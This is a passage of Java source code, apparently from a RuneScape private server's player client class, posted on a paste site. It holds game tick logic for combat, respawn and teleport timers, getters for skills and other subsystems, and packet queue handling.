  1578. getPA().showOption(3, 0, "Null", 1);
  1579. } else if (inPits) {
  1580. getPA().showOption(3, 0, "Attack", 1);
  1581. } else if (getPA().inPitsWait()) {
  1582. getPA().showOption(3, 0, "Null", 1);
  1583. }
  1584.  
  1585. if (!hasMultiSign && inMulti()) {
  1586. hasMultiSign = true;
  1587. getPA().multiWay(1);
  1588. }
  1589.  
  1590. if (hasMultiSign && !inMulti()) {
  1591. hasMultiSign = false;
  1592. getPA().multiWay(-1);
  1593. }
  1594.  
  1595. if (skullTimer > 0) {
  1596. skullTimer--;
  1597. if (skullTimer == 1) {
  1598. isSkulled = false;
  1599. attackedPlayers.clear();
  1600. headIconPk = -1;
  1601. skullTimer = -1;
  1602. getPA().requestUpdates();
  1603. }
  1604. }
  1605.  
  1606. if (isDead && respawnTimer == -6) {
  1607. getPA().applyDead();
  1608. }
  1609.  
  1610. if (specRestore > 0) {
  1611. specRestore--;
  1612. }
  1613.  
  1614. if (respawnTimer == 7) {
  1615. respawnTimer = -6;
  1616. getPA().giveLife();
  1617. } else if (respawnTimer == 12) {
  1618. respawnTimer--;
  1619. startAnimation(0x900);
  1620. poisonDamage = -1;
  1621. }
  1622.  
  1623. if (respawnTimer > -6) {
  1624. respawnTimer--;
  1625. }
  1626. if (freezeTimer > -6) {
  1627. freezeTimer--;
  1628. if (frozenBy > 0) {
  1629. if (PlayerHandler.players[frozenBy] == null) {
  1630. freezeTimer = -1;
  1631. frozenBy = -1;
  1632. } else if (!goodDistance(absX, absY,
  1633. PlayerHandler.players[frozenBy].absX,
  1634. PlayerHandler.players[frozenBy].absY, 20)) {
  1635. freezeTimer = -1;
  1636. frozenBy = -1;
  1637. }
  1638. }
  1639. }
  1640.  
  1641. if (hitDelay > 0) {
  1642. hitDelay--;
  1643. }
  1644. //RubberCheck(); //Rubber Chicken
  1645. if (teleTimer > 0) {
  1646. teleTimer--;
  1647. if (isPvpMode) { //For pvp mode - 10 second Teleport delay
  1648. if (!isDead) {
  1649. if (teleTimer == 1 && newLocation > 0) { //Full teleport finishes here.
  1650. teleTimer = 0;
  1651. getPA().changeLocation();
  1652. }
  1653. if (teleTimer == 5) { //This is where it starts to read new map data for teleport
  1654. teleTimer--;
  1655. getPA().processTeleport();
  1656. }
  1657. if (teleTimer == 9 && teleGfx > 0 ) { //This is where the animations start
  1658. teleTimer--;
  1659. if (playerMagicBook == 1) { //Added all this here because of 10 second delay...
  1660. startAnimation(1979);
  1661. gfx0(392);
  1662. } else {
  1663. startAnimation(714);
  1664. gfx100(teleGfx);
  1665. }
  1666. }
  1667. if (teleTimer >= 9 && teleTimer <= (playerMagicBook == 1 ? 19 : 21)) { //This is a check for the "10" second wait timer
  1668. if (underAttackBy > 0 || underAttackBy2 > 0) {
  1669. sendMessage("Teleport has been canceled because you are in combat.");
  1670. teleTimer = 0;
  1671. return;
  1672. }
  1673. }
  1674. if (teleTimer == (playerMagicBook == 1 ? 18 : 20)) { //Start of timer (when you click button)
  1675. if (underAttackBy > 0 || underAttackBy2 > 0) {
  1676. sendMessage("Teleport has been canceled because you are in combat.");
  1677. teleTimer = 0;
  1678. return;
  1679. }
  1680. teleTimer--;
  1681. sendMessage("Teleporting in 10 seconds...");
  1682. getDH().sendDialogues(570, 1);
  1683. }
  1684.  
  1685. } else {
  1686. teleTimer = 0;
  1687. }
  1688. } else { //For regular teleports below
  1689. if (!isDead) {
  1690. if (teleTimer == 1 && newLocation > 0) {
  1691. teleTimer = 0;
  1692. getPA().changeLocation();
  1693. }
  1694. if (teleTimer == 5) {
  1695. teleTimer--;
  1696. getPA().processTeleport();
  1697. }
  1698. if (teleTimer == 9 && teleGfx > 0) {
  1699. teleTimer--;
  1700. gfx100(teleGfx);
  1701. }
  1702. } else {
  1703. teleTimer = 0;
  1704. }
  1705. }
  1706. }
  1707.  
  1708. /*if (isPvpMode) {
  1709. if (System.currentTimeMillis() - pvpTeleDelay > 7000) {
  1710. CycleEventHandler.getSingleton().stopEvents(this);
  1711. getPA().processTeleport();
  1712. } else {
  1713. sendMessage("You must be out of combat for 7 seconds before teleporting.");
  1714. }
  1715. }*/
  1716.  
  1717. if (hitDelay == 1) {
  1718. if (oldNpcIndex > 0) {
  1719. getCombat().delayedHit(this, oldNpcIndex);
  1720. }
  1721. if (oldPlayerIndex > 0) {
  1722. getCombat().playerDelayedHit(this, oldPlayerIndex);
  1723. }
  1724. }
  1725.  
  1726. if (attackTimer > 0) {
  1727. attackTimer--;
  1728. }
  1729.  
  1730. if (attackTimer == 1) {
  1731. if (npcIndex > 0 && clickNpcType == 0) {
  1732. getCombat().attackNpc(npcIndex);
  1733. }
  1734. if (playerIndex > 0) {
  1735. getCombat().attackPlayer(playerIndex);
  1736. }
  1737. } else if (attackTimer <= 0 && (npcIndex > 0 || playerIndex > 0)) {
  1738. if (npcIndex > 0) {
  1739. attackTimer = 0;
  1740. getCombat().attackNpc(npcIndex);
  1741. } else if (playerIndex > 0) {
  1742. attackTimer = 0;
  1743. getCombat().attackPlayer(playerIndex);
  1744. }
  1745. }
  1746.  
  1747. }
  1748.  
  1749. public Map getStringMap() {
  1750. return stringMap;
  1751. }
  1752.  
  1753. private String redOrGreen(boolean green) {
  1754. return green ? "@gre@" : "@red@";
  1755. }
  1756.  
  1757. public void setCurrentTask(Future<?> task) {
  1758. currentTask = task;
  1759. }
  1760.  
  1761. public Future<?> getCurrentTask() {
  1762. return currentTask;
  1763. }
  1764.  
  1765. public synchronized Stream getInStream() {
  1766. return inStream;
  1767. }
  1768.  
  1769. public synchronized int getPacketType() {
  1770. return packetType;
  1771. }
  1772.  
  1773. public synchronized int getPacketSize() {
  1774. return packetSize;
  1775. }
  1776.  
  1777. public synchronized Stream getOutStream() {
  1778. return outStream;
  1779. }
  1780.  
  1781. public ItemAssistant getItems() {
  1782. return itemAssistant;
  1783. }
  1784.  
  1785. public PlayerAssistant getPA() {
  1786. return playerAssistant;
  1787. }
  1788.  
  1789. public PMLog PMLog() {
  1790. return PMLog;
  1791. }
  1792.  
  1793. public Alching Alching() {
  1794. return Alching;
  1795. }
  1796.  
  1797. public ClickItem ClickItem() {
  1798. return ClickItem;
  1799. }
  1800.  
  1801. public Shopping Shopping() {
  1802. return Shopping;
  1803. }
  1804.  
  1805. public PickupItem PickupItem() {
  1806. return PickupItem;
  1807. }
  1808.  
  1809. public DroppingItem DroppingItem() {
  1810. return DroppingItem;
  1811. }
  1812. public PvPLog PvPLog() {
  1813. return PvPLog;
  1814. }
  1815. public CommandsLog CommandsLog() {
  1816. return CommandsLog;
  1817. }
  1818.  
  1819. public StakingLog StakingLog() {
  1820. return StakingLog;
  1821. }
  1822.  
  1823. public DialogueHandler getDH() {
  1824. return dialogueHandler;
  1825. }
  1826.  
  1827. public ShopAssistant getShops() {
  1828. return shopAssistant;
  1829. }
  1830.  
  1831. public TradeAndDuel getTradeAndDuel() {
  1832. return tradeAndDuel;
  1833. }
  1834.  
  1835. public CombatAssistant getCombat() {
  1836. return combatAssistant;
  1837. }
  1838.  
  1839. public ActionHandler getActions() {
  1840. return actionHandler;
  1841. }
  1842.  
  1843. public KillsStreak getStreak() {
  1844. return killsStreak;
  1845. }
  1846.  
  1847. public PlayerKilling getKill() {
  1848. return playerKilling;
  1849. }
  1850.  
  1851. public Channel getSession() {
  1852. return session;
  1853. }
  1854.  
  1855. public Achievement getAchievement() {
  1856. return achievement;
  1857. }
  1858.  
  1859. public TradeLog getTradeLog() {
  1860. return tradeLog;
  1861. }
  1862.  
  1863. public Bank getBank() {
  1864. return bank;
  1865. }
  1866.  
  1867. public Potions getPotions() {
  1868. return potions;
  1869. }
  1870.  
  1871. public PotionMixing getPotMixing() {
  1872. return potionMixing;
  1873. }
  1874.  
  1875. public Food getFood() {
  1876. return food;
  1877. }
  1878.  
  1879. public boolean ardiRizal() {
  1880. if ((playerEquipment[playerHat] == -1)
  1881. && (playerEquipment[playerCape] == -1)
  1882. && (playerEquipment[playerAmulet] == -1)
  1883. && (playerEquipment[playerChest] == -1)
  1884. && (playerEquipment[playerShield] == -1)
  1885. && (playerEquipment[playerLegs] == -1)
  1886. && (playerEquipment[playerHands] == -1)
  1887. && (playerEquipment[playerFeet] == -1)
  1888. && (playerEquipment[playerWeapon] == -1)) {
  1889. return true;
  1890. } else {
  1891. return false;
  1892. }
  1893. }
  1894.  
  1895. private boolean isBusy = false;
  1896. private boolean isBusyHP = false;
  1897. public boolean isBusyFollow = false;
  1898.  
  1899. public boolean checkBusy() {
  1900. /*
  1901. * if (getCombat().isFighting()) { return true; }
  1902. */
  1903. if (isBusy) {
  1904. // actionAssistant.sendMessage("You are too busy to do that.");
  1905. }
  1906. return isBusy;
  1907. }
  1908.  
  1909. public boolean checkBusyHP() {
  1910. return isBusyHP;
  1911. }
  1912.  
  1913. public boolean checkBusyFollow() {
  1914. return isBusyFollow;
  1915. }
  1916.  
  1917. public void setBusy(boolean isBusy) {
  1918. this.isBusy = isBusy;
  1919. }
  1920.  
  1921. public boolean isBusy() {
  1922. return isBusy;
  1923. }
  1924.  
  1925. public void setBusyFollow(boolean isBusyFollow) {
  1926. this.isBusyFollow = isBusyFollow;
  1927. }
  1928.  
  1929. public void setBusyHP(boolean isBusyHP) {
  1930. this.isBusyHP = isBusyHP;
  1931. }
  1932.  
  1933. public boolean isBusyHP() {
  1934. return isBusyHP;
  1935. }
  1936.  
  1937. public boolean isBusyFollow() {
  1938. return isBusyFollow;
  1939. }
  1940.  
  1941. public boolean canWalk = true;
  1942. public boolean hasChosenIronMan;
  1943. public boolean isChosing;
  1944.  
  1945. public boolean canWalk() {
  1946. return canWalk;
  1947. }
  1948.  
  1949. public void setCanWalk(boolean canWalk) {
  1950. this.canWalk = canWalk;
  1951. }
  1952.  
  1953. public PlayerAssistant getPlayerAssistant() {
  1954. return playerAssistant;
  1955. }
  1956.  
  1957. public SkillInterfaces getSI() {
  1958. return skillInterfaces;
  1959. }
  1960.  
  1961. public Zulrah getZulrah() {
  1962. return zulrah;
  1963. }
  1964.  
  1965. /**
  1966. * Skill Constructors
  1967. */
  1968. public Slayer getSlayer() {
  1969. return slayer;
  1970. }
  1971.  
  1972. public Hunter getHunter() {
  1973. return hunter;
  1974. }
  1975.  
  1976. public Summoning Summoning() {
  1977. return Summoning;
  1978. }
  1979.  
  1980. public Woodcutting getWoodcutting() {
  1981. return woodcutting;
  1982. }
  1983.  
  1984. public Mining getMining() {
  1985. return mine;
  1986. }
  1987.  
  1988. public Runecrafting getRunecrafting() {
  1989. return runecrafting;
  1990. }
  1991.  
  1992. public BankPin getBankPin() {
  1993. return bankPin;
  1994. }
  1995.  
  1996. public PotSmoking getPotSmoking() {
  1997. return potSmoking;
  1998. }
  1999.  
  2000. public Cooking getCooking() {
  2001. return cooking;
  2002. }
  2003.  
  2004. public Agility getAgility() {
  2005. return agility;
  2006. }
  2007.  
  2008. public Crafting getCrafting() {
  2009. return crafting;
  2010. }
  2011.  
  2012. public Farming getFarming() {
  2013. return farming;
  2014. }
  2015.  
  2016. public Thieving getThieving() {
  2017. return thieving;
  2018. }
  2019.  
  2020. public Herblore getHerblore() {
  2021. return herblore;
  2022. }
  2023.  
  2024. public String getConnectedFrom() {
  2025. return connectedFrom;
  2026. }
  2027.  
  2028. public Pets getSummon() {
  2029. return pets;
  2030. }
  2031.  
  2032. public Smithing getSmithing() {
  2033. return smith;
  2034. }
  2035. public CreateNPC createNPC() {
  2036. return newNPC;
  2037. }
  2038.  
  2039. public RemoveNPC removeNPC() {
  2040. return rNPC;
  2041. }
  2042. public SmithingInterface getSmithingInt() {
  2043. return smithInt;
  2044. }
  2045.  
  2046. public Firemaking getFiremaking() {
  2047. return firemaking;
  2048. }
  2049.  
  2050. public Fletching getFletching() {
  2051. return fletching;
  2052. }
  2053.  
  2054. public Prayer getPrayer() {
  2055. return prayer;
  2056. }
  2057.  
  2058. /**
  2059. * End of Skill Constructors
  2060. */
  2061.  
  2062. public void queueMessage(Packet arg1) {
  2063. synchronized (queuedPackets) {
  2064. queuedPackets.add(arg1);
  2065. }
  2066. }
  2067.  
  2068. @Override
  2069. public boolean processQueuedPackets() {
  2070. synchronized (queuedPackets) {
  2071. Packet p = null;
  2072. while ((p = queuedPackets.poll()) != null) {
  2073. inStream.currentOffset = 0;
  2074. packetType = p.getOpcode();
  2075. packetSize = p.getLength();
  2076. inStream.buffer = p.getPayload().array();
  2077. if (packetType > 0) {
  2078. PacketHandler.processPacket(this, packetType, packetSize);
  2079. }
  2080. }
  2081. }
  2082. return true;
  2083. }
  2084.  
  2085. /*
  2086. * public void queueMessage(Packet arg1) { //synchronized(queuedPackets) {
  2087. * //if (arg1.getId() != 41) queuedPackets.add(arg1); //else
  2088. * //processPacket(arg1); //} }
  2089. *
  2090. * public synchronized boolean processQueuedPackets() { Packet p = null;
  2091. * synchronized(queuedPackets) { p = queuedPackets.poll(); } if(p == null) {
  2092. * return false; } inStream.currentOffset = 0; packetType = p.getOpcode();
  2093. * packetSize = p.getLength(); inStream.buffer = p.getPayload().array();
  2094. * if(packetType > 0) { //sendMessage("PacketType: " + packetType);
  2095. * PacketHandler.processPacket(this, packetType, packetSize); }
  2096. * timeOutCounter = 0; return true; }
  2097. *
  2098. * public synchronized boolean processPacket(Packet p) { synchronized (this)
  2099. * { if(p == null) { return false; } inStream.currentOffset = 0; packetType
  2100. * = p.getOpcode(); packetSize = p.getLength(); inStream.buffer =
  2101. * p.getPayload().array(); if(packetType > 0) { //sendMessage("PacketType: "
  2102. * + packetType); PacketHandler.processPacket(this, packetType, packetSize);
  2103. * } timeOutCounter = 0; return true; } }
  2104. */
  2105.  
  2106. public void correctCoordinates() {
  2107. if (inPcGame()) {
  2108. getPA().movePlayer(2657, 2639, 0);
  2109. }
  2110. if (inFightCaves()) {
  2111. getPA().movePlayer(absX, absY, playerId * 4);
  2112. sendMessage("Your wave will start in 10 seconds.");
  2113. CycleEventHandler.getSingleton().addEvent(this, new CycleEvent() {
  2114. @Override
  2115. public void execute(CycleEventContainer container) {
  2116. Server.fightCaves
  2117. .spawnNextWave((Client) PlayerHandler.players[playerId]);
  2118. container.stop();
  2119. }
  2120.  
  2121. @Override
  2122. public void stop() {
  2123.  
  2124. }
  2125. }, 20);
  2126.  
  2127. }
  2128.  
  2129. }
  2130.  
  2131. public Barrows getBarrows() {
  2132. return barrows;
  2133. }
  2134.  
  2135. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement